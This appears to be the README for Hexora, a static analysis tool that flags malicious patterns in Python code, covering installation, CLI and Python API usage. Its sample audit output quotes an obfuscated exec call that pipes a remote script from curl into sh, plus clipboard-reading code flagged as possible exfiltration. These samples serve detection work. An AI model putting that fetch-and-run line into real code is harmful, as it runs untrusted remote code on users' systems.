Hexora: Static Analysis Tool for Malicious Python Code

Introduction

Hexora is an advanced static analysis tool, developed in Rust, specifically designed to detect malicious and harmful patterns within Python code. It provides a robust solution for identifying potential security threats by analyzing code without execution. This makes Hexora an invaluable asset for developers, security researchers, and organizations looking to enhance their software supply chain security.

Installation

Hexora requires Python 3.9+ to run. You can install it easily using pip or uv:

pip install hexora

Alternatively, using uv:

uv tool install hexora

Examples

Hexora offers flexible usage options, from auditing single files to entire virtual environments, and can also be integrated directly into Python projects.

To see all available commands:

hexora --help

Audit a Single File

You can audit a specific Python file to identify potential threats:

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ?? resources/test/test.py:3:8
  ?
1 ? import pyperclip
2 ?
3 ? data = pyperclip.paste()
  ?        ^^^^^^^^^^^^^^^^^ HX2000
  ?
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    
warning[HX3000]: Possible execution of unwanted code
   ?? resources/test/test.py:20:1
   ?
19 ? (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 ? _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   ? ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   ?

Audit a Directory

To audit an entire directory, including all Python files within it:

hexora audit --output-format terminal resources/test/

Audit Packages from a Virtual Environment

Hexora can also audit installed packages within a Python virtual environment, allowing you to exclude specific rule codes or filter by confidence level:

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Here, python3.11 should be replaced with your virtual environment's Python version.

Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run.
Use --min-confidence to focus on high-confidence findings only.

Usage in Python

For programmatic integration, Hexora provides a Python API:

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Why Use Hexora?

Hexora addresses critical security needs across various scenarios:

Supply-Chain Attack Prevention: Audit project dependencies to catch potential supply-chain attacks before they impact your systems.
Malicious Script Detection: Identify malicious scripts found on platforms like Pastebin, GitHub, or open directories, preventing their execution.
Incident Response: Analyze Indicators of Compromise (IoC) files from past security incidents to understand attack vectors and prevent future breaches.
PyPI Package Auditing: Proactively audit new packages uploaded to PyPI, ensuring the integrity of your Python ecosystem.

With a continuously expanding set of rules covering suspicious imports, code execution, obfuscation, and data exfiltration, Hexora empowers you to maintain a secure Python development environment.